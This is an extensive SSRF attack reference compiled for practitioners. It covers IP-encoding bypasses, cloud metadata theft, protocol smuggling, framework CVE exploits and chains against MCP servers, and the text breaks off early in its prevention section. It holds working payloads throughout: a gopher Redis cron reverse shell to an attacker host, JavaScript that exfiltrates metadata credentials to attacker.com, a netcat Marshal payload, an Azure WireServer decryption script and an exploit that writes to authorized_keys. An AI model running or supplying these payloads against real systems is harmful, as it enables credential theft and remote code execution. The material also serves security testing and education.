Comprehensive SSRF Guide#
A practitioner’s reference for Server-Side Request Forgery — attack surface, exploitation techniques, bypass methods, real-world chains, and detection/prevention. Compiled from 385 research sources.
Table of Contents#
- Fundamentals
- Attack Surface & Entry Points
- IP Address Bypass Techniques
- URL Parsing & Protocol Tricks
- Cloud Metadata Exploitation
- Blind SSRF Techniques
- Protocol Smuggling
- Framework-Specific SSRF
- PDF Generator SSRF
- Real-World Exploitation Chains
- Tools & Automation
- MCP / AI Agent SSRF
- IPv6 & DNS Rebinding Bypass Patterns
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals#
SSRF occurs when an attacker can make a server-side application send HTTP requests to an attacker-chosen destination. The server acts as a proxy, often with elevated network access (internal services, cloud metadata, localhost) and implicit trust (firewall bypass, authentication context).
Three classes:
| Class | Description | Example |
|---|---|---|
| Full-Response | Attacker sees the complete HTTP response | pictureproxy.php?url= |
| Blind | No direct response — requires OOB exfiltration | Webhook URL callbacks |
| Error-Based | Information leaks via error messages or timing | Kubernetes webhook errors |
Impact spectrum: Port scanning → Internal service enumeration → File read → Credential theft → Remote code execution → Full cloud account takeover.
2. Attack Surface & Entry Points#
Common injection points#
| Category | Examples |
|---|---|
| URL parameters | ?url=, ?path=, ?src=, ?dest=, ?redirect=, ?uri=, ?domain= |
| Webhooks | GitHub/GitLab/Slack/custom webhook URL configuration |
| File imports | “Import from URL”, RSS feed URLs, avatar/image URLs |
| PDF/report generation | HTML-to-PDF, certificate generators, invoice renderers |
| API integrations | OAuth callback URLs, SAML endpoints, OpenID configuration |
| Email features | List-Unsubscribe headers, email template image loading |
| Document processors | Pandoc, LibreOffice, image processing pipelines |
| AI/ML services | Custom GPT actions, MCP servers, model serving endpoints |
| Proxy/fetch endpoints | Image proxies, link preview generators, URL shorteners |
Sink functions (code-level)#
PHP: file_get_contents(), curl_exec(), fopen(), readfile()
Python: requests.get(), urllib.urlopen(), httplib.request()
Node.js: fetch(), http.request(), axios.get()
Java: URL.openConnection(), HttpClient.send()
Ruby: Net::HTTP.get(), open-uri, Faraday.get()
C#: HttpClient.GetAsync(), WebRequest.Create()
3. IP Address Bypass Techniques#
When applications blacklist 127.0.0.1 or 169.254.169.254, use alternative representations.
Localhost (127.0.0.1)#
| Encoding | Value |
|---|---|
| Shorthand | http://127.1/ |
| Zero | http://0/ |
| Decimal | http://2130706433/ |
| Octal | http://0177.0.0.1/ |
| Hex | http://0x7f000001/ |
| IPv6 | http://[::1]/ |
| IPv6 mapped | http://[::ffff:127.0.0.1]/ |
| IPv6 expanded | http://[0:0:0:0:0:ffff:7f00:0001]/ |
| CIDR | http://127.0.0.0/8 |
Cloud metadata (169.254.169.254)#
| Encoding | Value |
|---|---|
| Decimal | http://2852039166/ |
| Octal | http://0251.0376.0251.0376/ |
| Hex | http://0xA9FEA9FE/ |
| Partial octal | http://0251.254.169.254/ |
| IPv6 mapped | http://[::ffff:a9fe:a9fe]/ |
| IPv6 expanded | http://[0:0:0:0:0:ffff:a9fe:a9fe]/ |
Advanced encoding#
| Technique | Example |
|---|---|
| Enclosed alphanumerics | ⑯⑨。②⑤④。⑯⑨。②⑤④ |
| Unicode digit variants | ๐๑๒๓ (Thai digits) |
| Mixed encoding | Single octet in octal, rest decimal |
| URL encoding | http://%31%32%37%2e%30%2e%30%2e%31/ |
DNS-based bypasses#
| Service | Purpose |
|---|---|
localtest.me | Resolves to 127.0.0.1 |
nip.io | 169.254.169.254.nip.io → 169.254.169.254 |
1u.ms | DNS rebinding service |
| Custom DNS | A record pointing to internal IP |
DNS rebinding attack flow#
- Register domain
evil.comwith very short TTL - First DNS resolution:
evil.com→ attacker IP (passes validation) - TTL expires, second resolution:
evil.com→169.254.169.254 - Server’s HTTP client follows the rebind to internal target
4. URL Parsing & Protocol Tricks#
Parser differential exploits#
Different URL parsers disagree on what constitutes the “host”:
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
│ │
└─ actual request target └─ validator sees "google.com"
The @ symbol creates a userinfo component — validators may check the domain after @, but the HTTP client connects to the IP before it.
Redirect-based SSRF#
When direct SSRF is blocked but the client follows redirects:
# Attacker's redirect server
@app.route('/redirect')
def redirect():
return redirect('http://169.254.169.254/latest/meta-data/')
Protocol switching: Some clients strip security settings on redirect. CVE-2023-28155 (Node.js request library) deletes the HTTP agent on HTTPS→HTTP protocol change, bypassing proxy/SSRF controls.
Useful schemes beyond HTTP#
| Scheme | Use Case |
|---|---|
file:///etc/passwd | Local file read |
gopher:// | Arbitrary TCP data (Redis, Memcached, SMTP) |
dict:// | Dictionary service protocol for port scanning |
sftp://evil.com/ | Exfiltrate data via SFTP handshake |
tftp://evil.com/file | UDP-based exfiltration |
ldap://evil.com/ | LDAP query to attacker server |
netdoc:///etc/passwd | Java-specific file read |
jar:// | Java archive URL handler |
CRLF injection in URLs#
Inject raw HTTP protocol data via %0d%0a:
http://127.0.0.1:6379/%0D%0ASET%20pwned%20true%0D%0A
This sends to Redis:
GET /<CRLF>
SET pwned true<CRLF>
HTTP/1.1
Host: 127.0.0.1:6379
5. Cloud Metadata Exploitation#
AWS IMDSv1#
# Instance identity
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
# IAM credentials (the prize)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}
# User data (may contain secrets/bootstrap scripts)
http://169.254.169.254/latest/user-data/
IMDSv2 requires a token obtained via PUT request with X-aws-ec2-metadata-token-ttl-seconds header. Most SSRF only allows GET, making IMDSv2 a strong mitigation — unless the SSRF can send PUT requests.
ECS variant (containers):
http://169.254.170.2/v2/credentials/{GUID}
Using stolen credentials:
export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
Azure IMDS#
Standard endpoint (requires Metadata: true header):
GET /metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true
Managed identity token extraction:
GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Host: 169.254.169.254
Metadata: true
No-header endpoint (higher SSRF risk — no Metadata header required):
GET /metadata/v1/instanceinfo HTTP/1.1
Host: 169.254.169.254
WireServer (168.63.129.16) — no headers required:
GET /?comp=versions HTTP/1.1
Host: 168.63.129.16
HostGAPlugin (168.63.129.16:32526):
GET /vmSettings HTTP/1.1
Host: 168.63.129.16:32526
Returns full VM configuration, extension settings, and SAS URLs for storage accounts.
Decrypting Azure protected settings:
# Generate cert
openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 \
-newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt
# Get goalstate
CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' \
-H 'x-ms-version: 2015-04-05' -s | \
grep -oP '(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii)
# Get encrypted envelope with our cert
curl $CERT_URL -H 'x-ms-version: 2015-04-05' \
-H "x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | \
grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m
# Decrypt
openssl cms -decrypt -inform DER -in payload.p7m -inkey ./temp.key -out payload.pfx
openssl pkcs12 -nodes -in payload.pfx -password pass: -out wireserver.key
CRLF bypass for Metadata header:
GET /metadata/v1/instanceinfo HTTP/1.1
Metadata: %0d%0aTrue
GCP Metadata#
# Legacy endpoint (no header required — high SSRF value)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
# Current endpoint (requires Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Service account tokens
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata endpoint summary#
| Provider | IP/Host | Header Required | Key Path |
|---|---|---|---|
| AWS IMDSv1 | 169.254.169.254 | None | /latest/meta-data/iam/security-credentials/ |
| AWS IMDSv2 | 169.254.169.254 | Token via PUT | Same as v1 |
| Azure IMDS | 169.254.169.254 | Metadata: true | /metadata/identity/oauth2/token?... |
| Azure WireServer | 168.63.129.16 | None | /?comp=goalstate |
| GCP (legacy) | metadata.google.internal | None | /computeMetadata/v1beta1/?recursive=true |
| GCP (current) | metadata.google.internal | Metadata-Flavor: Google | /computeMetadata/v1/ |
| DigitalOcean | 169.254.169.254 | None | /metadata/v1.json |
| Alibaba | 100.100.100.200 | None | /latest/meta-data/ |
6. Blind SSRF Techniques#
When you can trigger server-side requests but can’t see the response.
Detection methods#
| Method | How It Works |
|---|---|
| OOB HTTP callback | Point SSRF at Burp Collaborator / interactsh / webhook.site |
| OOB DNS | Use unique subdomain per test: test123.attacker.com |
| Timing | Compare response times — open port vs closed port vs filtered |
| Error differentials | Different error messages for different response codes |
| Response length | Body size changes based on target response |
Upgrading blind to full-read#
Open redirect chain:
- Find open redirect on a whitelisted domain
- SSRF → whitelisted domain redirect → internal target
- If redirect is followed, response may leak
NextJS blind-to-full-read (CVE-2024-34351):
- Server Action redirects to relative path
- Attacker sets
Host: attacker.tld - NextJS fetches
http://attacker.tld/404.html - Attacker returns HEAD with
Content-Type: text/x-component - GET request: attacker redirects to
http://127.0.0.1:8000/.env - NextJS follows redirect, returns full response
# Attacker's Flask server
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://127.0.0.1:8000/.env')
Exfiltration chains (Assetnote glossary)#
- Redis: Blind command execution via gopher, exfiltrate via
SLAVEOFto attacker - Memcached: Cache poisoning to inject payloads into application responses
- SMTP: Send email containing internal data
- DNS exfiltration: Encode data in DNS queries:
data.attacker.com
7. Protocol Smuggling#
Gopher → Redis RCE#
Gopher sends raw TCP data. Exploit internal Redis to write a cron job:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
HTTP → Memcached via CRLF#
Inject Memcached protocol via CRLF in HTTP request:
http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%205%0D%0Avalue%0D%0A
Memcached sees:
set key 0 60 5
value
Linkerd service mesh header injection#
Override routing in Linkerd-managed environments:
l5d-dtab: /svc/* => /$/inet/169.254.169.254/80
Any request through Linkerd mesh gets routed to the cloud metadata service.
8. Framework-Specific SSRF#
NextJS (CVE-2024-34351)#
Vector 1: Image optimization
/_next/image?url=http://internal-service/&w=256&q=75
Exploitable when next.config.js has permissive remotePatterns:
images: { remotePatterns: [{ hostname: "**" }] }
Vector 2: Server Actions + Host header
POST /search HTTP/1.1
Host: attacker.tld
Content-Type: multipart/form-data
Next-Action: 15531bfa07ff11369239544516d26edbc537ff9c
{}
Astro (CVE-2026-25545)#
Same Host header injection pattern as NextJS:
GET /not-found HTTP/1.1
Host: attacker.tld
Server fetches http://attacker.tld/404.html, attacker redirects to internal resource.
Angular SSR#
Server-side rendering fetches resources based on client-controlled URLs, enabling internal network access during SSR hydration.
Pandoc (CVE-2025-51591)#
HTML-to-PDF conversion renders iframes:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
ClickHouse#
Unauthenticated query access with URL table function:
SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'TSV', 'data String')
Kubernetes Admission Webhooks#
Attacker creates a ValidatingWebhookConfiguration pointing to internal services:
webhooks:
- name: ssrf.attacker.com
clientConfig:
url: "http://127.0.0.1:1337/target"
rules:
- operations: ["CREATE"]
resources: ["pods"]
failurePolicy: Fail
Trigger by creating a pod — the API server sends a request to the webhook URL. Error messages reveal port status (open/closed/filtered).
Axios redirect header leak (CVE-2025-27152)#
Affected: axios <0.30.0 and 1.0.0 ≤ v < 1.8.2
Axios follows redirects by default and forwards the original Authorization header to the redirect target — including cross-origin redirects.
Attack flow:
- Victim app calls
axios.get("https://attacker.com/data", { headers: { Authorization: "Bearer ..." }}) - Attacker server responds with
302 → http://169.254.169.254/latest/meta-data/ - Axios re-sends the request with the bearer token attached
- Attacker captures the token from their logs (or pivots via the metadata response)
Real-world vulnerable packages: Nightscout 15.0.6 (axios 0.21.4), Uptime Kuma 2.2.1 (axios 0.30.3).
curl_cffi unrestricted redirects (CVE-2026-33752)#
Affected: curl_cffi <0.15.0
No internal IP range restrictions + automatic redirect following + TLS browser impersonation. Attacker-controlled URL redirects to metadata endpoint; curl_cffi follows blindly and the impersonation feature disguises the request as legitimate browser traffic, bypassing some egress detection.
Spring Cloud Config profile substitution (CVE-2026-22739)#
Affected: Spring Cloud Config 3.1.x–5.0.x (patched 4.3.2 OSS / 5.0.2 OSS)
The profile query parameter is substituted into both local file paths (native FS backend) and SCM repository URLs. Dual impact — directory traversal on FS backend, SSRF on SCM backend (attacker-controlled git URL).
Azure OpenAI privilege escalation (CVE-2025-53767)#
Insufficient validation of user-supplied input used in server-side request construction allows requests to Azure Instance Metadata Service endpoints, exposing managed identity tokens for privilege escalation inside the Azure OpenAI environment.
Microsoft Purview SSRF (CVE-2026-26138)#
SSRF in Microsoft Purview allows privilege elevation within the Purview control plane via metadata service access.
GitLab Git Repository Import (CVE-2025-12073)#
Affected: GitLab CE/EE <18.6.6, <18.7.4, <18.8.4
Authenticated SSRF via the Git repository import URL validator. Bypass uses malformed IPv6 encoding like http://[:::::ffff:127.0.0.1]/ which evades the blacklist but resolves correctly at the HTTP client layer.
GitLab webhook custom headers (CVE-2025-6454)#
Custom webhook headers allowed CRLF injection to inject arbitrary HTTP headers and smuggle requests to internal services.
Plunk SNS webhook handler (CVE-2026-32096)#
SNS webhook endpoint blindly fetches the SubscribeURL field from the incoming SNS message without validating it’s a legitimate AWS SNS confirmation URL — attacker posts a fake SNS payload with SubscribeURL pointing to an internal target.
Docker Model Runner OCI Registry (CVE-2026-33990)#
SSRF in the OCI registry client used by Docker Model Runner — registry URL validation is insufficient, allowing attacker-controlled model pulls to hit internal registries/metadata.
WWBN AVideo stored SSRF + filter bypass (CVE-2026-39368 + CVE-2026-39370)#
Affected: WWBN AVideo <=26.0
CVE-2026-39368 — Stored SSRF via restream callback: The Live restream log callback flow accepts an attacker-controlled restreamerURL and later fetches that stored URL server-side. A low-privilege user with streaming permission stores an arbitrary callback URL; the server later issues requests to loopback or internal HTTP services through the restream log feature. The stored-then-fetched pattern makes static analysis harder — CodeQL must track taint through persistence layers.
CVE-2026-39370 — Extension allowlist bypass (incomplete fix for CVE-2026-27732): objects/aVideoEncoder.json.php allows attacker-controlled downloadURL values with common media/archive extensions (.mp4, .mp3, .zip, .jpg, .png, .gif, .webm) to bypass SSRF validation. The server fetches the response and stores it as media content, turning the upload-by-URL flow into a reliable full-response SSRF exfiltration primitive for authenticated uploaders.
Key pattern: Extension-based allowlists are insufficient SSRF protection. The fix validated file type rather than destination — attackers simply append an allowed extension to an internal URL.
Apache Tika XXE→SSRF (CVE-2025-66516)#
Affected: Apache Tika 1.13–3.2.1 (tika-core), 2.0.0–3.2.1 (tika-pdf-module), 1.13–1.28.5 (tika-parsers)
CVSS 10.0 — a critical XXE vulnerability in Tika’s PDF processing. Malicious PDFs containing embedded XML force Tika to resolve external entities, enabling arbitrary file read and SSRF. No authentication required; exploitation is remote. Tika integrates into Apache Solr, Elasticsearch, and ML data ingestion pipelines, giving the vulnerability wide blast radius. Fixed in Tika 3.2.2 by disabling entity resolution by default.
Dgraph, Soft Serve, ChurchCRM, Directus, Craft CMS#
Multiple other products with SSRF in import/fetch features — all share the same root cause of trusting user-provided URLs after superficial validation. See the CVE reference table at the end.
9. PDF Generator SSRF#
PDF generators (wkhtmltopdf, Puppeteer, WeasyPrint, Prince) render HTML including external resources, making them SSRF vectors.
Finding entry points#
Look for: certificate generation, report export, invoice rendering, digital signature features, “Save as PDF”, “Print” endpoints.
Injection contexts#
Between tags:
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
In attributes (with quotes):
<img src=""/><iframe src="http://169.254.169.254/latest/meta-data/"></iframe>">
In attributes (with apostrophes):
<img src=''/><iframe src='http://169.254.169.254/latest/meta-data/'></iframe>'>
Data URL fields (digital signatures):
Replace data:image/png;base64,... with http://169.254.169.254/...
JavaScript execution in PDF context#
<script>
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(d => {
// Exfiltrate via image request
new Image().src = 'https://attacker.com/?data=' + btoa(d);
});
</script>
Timing trick#
Some generators take time to render. Use 100+ iframes to delay PDF generation long enough for JavaScript to execute and exfiltrate:
<!-- Delay rendering -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<!-- repeat 99 more times -->
<!-- Exfiltration after delay -->
<script>
setTimeout(() => {
new Image().src = 'https://attacker.com/exfil?data=' + document.body.innerText;
}, 5000);
</script>
Multi-target scanner payload#
#!/bin/bash
TARGETS="169.254.169.254 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1"
for target in $TARGETS; do
echo "<iframe src='http://$target/' width='1000' height='100'></iframe>"
done
10. Real-World Exploitation Chains#
GitHub Enterprise: SSRF → Protocol Smuggling → RCE#
Chain: 4 vulnerabilities combined
- SSRF in webhooks —
http://0/bypassesfaraday-restrict-ip-addressesblacklist (rare IP format for localhost) - SSRF in Graphite — internal service on port 8000 has unvalidated
urlparameter:http://0:8000/composer/send_email?to=orange@nogg&url=http://127.0.0.1:11211/ - CRLF injection — Python httplib allows
%0D%0Ain URL path, injecting raw protocol:http://0:8000/composer/send_email?to=x&url=http://127.0.0.1:11211/%0D%0Aset%20key%200%2060%20[PAYLOAD_LEN]%0D%0A[MARSHAL_PAYLOAD]%0D%0A - Marshal deserialization RCE — Memcached stores Ruby Marshal objects; application deserializes on cache read:
marshal = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new( ERB.new("`id | nc attacker.tw 12345`"), :result )
Impact: Remote code execution on any GitHub Enterprise instance.
Google Production Network: SSRF into Borg#
- Google Caja server-side JavaScript processor fetches external script tags
- Create Google App Engine instance to observe source IP
- Discover Caja runs in Google’s internal 10.x.x.x network
- Point script tag at internal Borglet status monitors
- Exfiltrate: job configurations, hardware specs, service credentials, cluster topology
Impact: Direct access to Google’s production cluster management infrastructure.
AWS Account Takeover via Eval Injection#
- Custom macro language (Banan++) uses
eval()for expression parsing - Inject JavaScript
fetch()via the Union function:{"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\").then(res=>res.text()).then(r=>fetch(\"https://attacker.com/?r=\"+r));';'3')"} - First request: enumerate IAM role name
- Second request: extract full credentials (AccessKeyId, SecretAccessKey, Token)
- Use credentials: access 20 S3 buckets, 80 EC2 instances
Impact: Full AWS account compromise.
ChatGPT SSRF (CVE-2024-27564) — Mass Exploitation#
// pictureproxy.php — no validation
$content = file_get_contents($_GET['url']);
- 10,000+ attacking IPs observed in the wild
- 35% of US government targets unprotected due to WAF misconfiguration
- Used for internal network scanning, credential theft, and lateral movement
SonicBoom: SSRF + File Write → RCE (Commvault / SonicWall SMA)#
Chain: Authentication bypass → SSRF → arbitrary file write → web shell → RCE
- Auth bypass —
authSkipRules.xmllists 50+ endpoints excluded from authentication (e.g.,deployWebpackage.do,deployServiceCommcell.do) - SSRF + path traversal — POST to
/commandcenter/deployWebpackage.dowith attacker-controlledcommcellNameandservicePackparameters. The server concatenates these into URLs and file paths without sanitization, fetching a ZIP from the attacker’s server - Arbitrary write — Downloaded ZIP is extracted into web-accessible directories; path traversal in
servicePackenables writes to unintended locations - RCE — Malicious
.jspweb shell in the ZIP executes as the privileged service account
Affected: Commvault 11.38.0–11.38.19 (patched 11.38.20), SonicWall SMA (CVE-2024-38475 + CVE-2023-44221 + CVE-2025-23006). Actively exploited in the wild.
Key insight: The SSRF primitive here is “fetch from attacker-controlled URL and write to disk” — a write-primitive SSRF that bypasses the usual read-only metadata threat model.
Email List-Unsubscribe → Internal SSRF#
- Send DKIM-signed email with malicious
List-Unsubscribeheader:List-Unsubscribe: <http://169.254.169.254/latest/meta-data/> List-Unsubscribe-Post: List-Unsubscribe=One-Click - User or mail client clicks “Unsubscribe”
- Mail server sends server-side request to metadata endpoint
- Blind SSRF from mail infrastructure
11. Tools & Automation#
SSRFmap#
Automated SSRF exploitation framework with 20+ modules:
# Install
git clone https://github.com/swisskyrepo/SSRFmap
pip3 install -r requirements.txt
# Basic usage — provide a Burp-format request file
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m aws
python ssrfmap.py -r request.txt -p url -m portscan
# Redis RCE with reverse shell listener
python ssrfmap.py -r request.txt -p url -m redis --lhost=attacker --lport=4242 -l 4242
# WAF bypass with encoding escalation
python ssrfmap.py -r request.txt -p url -m portscan --level 5
Modules: readfiles, portscan, networkscan, aws, gce, digitalocean, alibaba, redis, fastcgi, mysql, postgres, docker, smtp, memcache, tomcat, socksproxy, smbhash, custom
Burp Suite#
- Collaborator — OOB detection for blind SSRF
- Intruder — Fuzz URL parameters with IP encoding lists
- SSRF-specific extensions for automated cloud metadata detection
DNS rebinding tools#
- 1u.ms — DNS rebinding as a service
- rbndr.us — Configurable rebinding
- Twisted-based frameworks — Custom DNS rebinding servers
Manual testing tools#
# Generate all IP encodings
python3 -c "import ipaddress; ip = int(ipaddress.ip_address('169.254.169.254')); print(f'Decimal: {ip}'); print(f'Hex: 0x{ip:08X}'); print(f'Octal: {\".\".join(oct(int(o))[2:] for o in \"169.254.169.254\".split(\".\"))}')"
# Quick OOB test with interactsh
interactsh-client
# Gopher payload generator
gopherus --exploit redis
12. MCP / AI Agent SSRF#
Model Context Protocol (MCP) servers expose AI agent tools over HTTP/JSON-RPC. Many production MCP servers trust user-provided URLs, headers, and parameters — creating a fresh attack surface with cloud-admin blast radius. 30+ SSRF CVEs appeared in MCP servers in a 60-day window during early 2026.
Atlassian MCP unauthenticated RCE (CVE-2026-27825 + CVE-2026-27826)#
Affected: mcp-atlassian PyPI package <0.17.0
Chain: Header-injection SSRF + path traversal write → RCE on MCP host
Component 1 — Header SSRF (CVE-2026-27826):
Custom headers (X-Atlassian-Confluence-Url, X-Atlassian-Jira-Url) bypass auth when the standard Authorization header is missing. The dependency injection layer extracts the URL and immediately issues an outbound connectivity check via get_current_user_account_id() — no validation first.
POST /v1/tools/call HTTP/1.1
Host: mcp-internal.company.local
X-Atlassian-Confluence-Url: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Content-Type: application/json
{"name": "get_current_user", "arguments": {}}
Component 2 — Path Traversal Write (CVE-2026-27825):
The confluence_download_attachment tool takes an unvalidated download_path parameter and writes the fetched attachment content there. No ../ filtering.
{
"name": "confluence_download_attachment",
"arguments": {
"attachment_id": "malicious_payload_id",
"download_path": "../../../../../../home/mcpuser/.ssh/authorized_keys"
}
}
Full chain:
- Attacker hosts a fake Confluence instance returning SSH key content as the “attachment”
- Set
X-Atlassian-Confluence-Url: https://attacker.com(SSRF to attacker) - Call
confluence_download_attachmentwithdownload_pathpointing at~/.ssh/authorized_keysor/etc/cron.d/malicious-job - RCE on the MCP host within 1 minute (cron) or next SSH login
FastMCP OpenAPI provider SSRF + path traversal (CVE-2026-32871)#
Affected: fastmcp PyPI <3.2.0
Root cause: _build_url() in fastmcp/utilities/openapi/director.py does raw string substitution of path parameters into URL templates without URL encoding. urllib.parse.urljoin() then interprets ../ sequences as traversal.
def _build_url(self, path_template, path_params, base_url):
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value)) # NO ENCODING
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Exploit:
- Template:
/api/v1/users/{id}/profile - Payload:
id="../../../admin/delete-all?" - Resolved URL:
http://backend:8080/admin/delete-all?
Authentication context is inherited from the MCP provider — attackers ride the provider’s privileged auth headers into private backend endpoints.
MCP SSRF hunting checklist#
| Check | What to look for |
|---|---|
| Header injection | Custom headers like X-*-Url, X-Target-Host, X-Backend-* |
| URL parameters | Tool inputs named url, endpoint, webhook, callback, path |
| OpenAPI path templates | {param} substitution without URL encoding |
| OCI/registry fetches | Model pulls, container image references |
$ref dereferencing | JSON schema $ref with external URLs (CVE-2026-39885 pattern) |
| File upload callbacks | Image/avatar URL fetches |
| Auth fallback bypass | Missing Authorization → custom header path |
Related MCP CVEs (60-day cluster)#
| CVE | Package | Issue |
|---|---|---|
| CVE-2026-27825/26 | mcp-atlassian | Header SSRF + path traversal → RCE |
| CVE-2026-32871 | fastmcp | OpenAPI path param injection |
| CVE-2026-39885 | mcp-from-openapi | $ref dereferencing SSRF |
| CVE-2026-34936 | praison | SSRF via URL input |
| CVE-2026-34981 | whisper | SSRF via audio fetch URL |
| CVE-2026-35037 | Ech0 | Unauthenticated SSRF in GetWebsiteTitle |
13. IPv6 & DNS Rebinding Bypass Patterns#
Most “SSRF protection” breaks on DNS rebinding and IPv6 edge cases. These are the patterns worth knowing.
TOCTOU validator pattern (the canonical bug)#
# VULNERABLE
def is_private_url(url):
hostname = urlparse(url).hostname
ip = socket.gethostbyname(hostname) # Resolution #1 (validation)
return ipaddress.ip_address(ip).is_private
if not is_private_url(url):
requests.get(url) # Resolution #2 (actual request)
Between resolution #1 and resolution #2, DNS can return a different IP. Validator sees public IP; HTTP client connects to private IP.
Exploited by: MindsDB <v23.12.4.2, Craft CMS (CVE-2026-27127), many others.
DNS rebinding services#
| Service | Usage |
|---|---|
1u.ms | make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms — alternates between IPs per query |
rbndr.us | Dual-record rebinding with configurable IPs |
| Custom | Low-TTL authoritative DNS server you control |
Example payload: http://make-{public-ip}-rebind-127.0.0.1-rr.1u.ms:8667/
- Query 1 → public IP (passes validator)
- Query 2 →
127.0.0.1(actual fetch)
IPv6 bypass variants#
IPv4-mapped IPv6 (CVE-2026-35409 Directus):
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/
Validator checks ip.is_private on string parsing but HTTP clients accept the IPv4-mapped form.
IPv6-only AAAA records (CVE-2026-27129 Craft CMS):
The validator uses gethostbyname() (IPv4 only). For an IPv6-only hostname it returns the string hostname itself — which isn’t in the IPv4 blocklist, so it passes. The HTTP client then resolves AAAA and connects to the real IPv6 target.
Malformed IPv6 encodings (CVE-2025-12073 GitLab):
http://[:::::ffff:127.0.0.1]/
http://[0:0:0:0:0:0:0:1]:80/
Extra colons, mixed compression forms — some URL parsers normalize these, others reject, and validators and HTTP clients disagree on which is which.
Validator-level bypasses#
nossrf npm package (all versions ≤1.0.3):
// Validator checks for DNS.Comment field but never checks resolved IP
const asyncResolveHostnameGoogle = async (hostname) => {
const responseV4 = await axios.get(`https://dns.google/resolve?name=${hostname}&type=A`);
if (responses[0].Comment) return true; // Bug: only checks presence of Comment
if (!responses[0].Comment) return false;
};
localtest.me resolves to 127.0.0.1 and the DoH response includes a Comment field — validation passes.
Custom-domain bypass (simplest):
Register internal.yourevildomain.com with an A record pointing at 169.254.169.254. Any denylist checking string 169.254.169.254 is defeated; the HTTP client resolves it at request time.
Parameter enumeration campaign (March 2025, EC2 IMDS)#
Observed in-the-wild mass scan — six parameter names, four metadata subpath variants:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?dest=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?redirect=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Attack infrastructure: ASN 34534 (FBW NETWORKS SAS). Telemetry signature: OpenSSH_9.2p1 Debian, port 10250 (Kubernetes), TLS SAN DNS:cold01 / DNS:cold07. Mitigation remains the same: enforce IMDSv2.
PDF SSRF → LFI (CVE-2024-34112 and beyond)#
Affected: Adobe ColdFusion <cfdocument> tag (<2023 Update 8, <2021 Update 14)
Pre-patch direct LFI:
<cfdocument format="pdf">
<iframe src="file:///etc/passwd">
</cfdocument>
Post-patch bypass via meta-refresh (CVE-2024-34112):
Adobe blocked file:// in the initial patch but not in meta-refresh targets from external HTML.
- Attacker hosts
meta.html:<meta http-equiv="refresh" content="0; file:///etc/hosts"> - Inject into PDF:
<iframe src="https://attacker/meta.html" width=1000> - PDF renderer follows the iframe → fetches
meta.html→ honors meta-refresh → readsfile:///etc/hosts→ contents render in the PDF
The general pattern — “indirect protocol switching via intermediary HTML” — applies to any HTML-to-PDF renderer that fetches external resources.
14. Detection & Prevention#
Prevention (defense-in-depth)#
| Layer | Control |
|---|---|
| Network | Firewall rules blocking outbound to 169.254.169.254 from application tier |
| Cloud | Enforce IMDSv2 (AWS), require Metadata headers (Azure/GCP) |
| Application | Allowlist of permitted domains/IPs; deny internal ranges |
| URL validation | Parse URL → resolve DNS → check IP against blocklist → make request (in that order, atomically) |
| DNS rebinding | Resolve DNS once, pin the IP, validate, then connect to that IP |
| HTTP client | Disable redirect following or re-validate on each redirect hop |
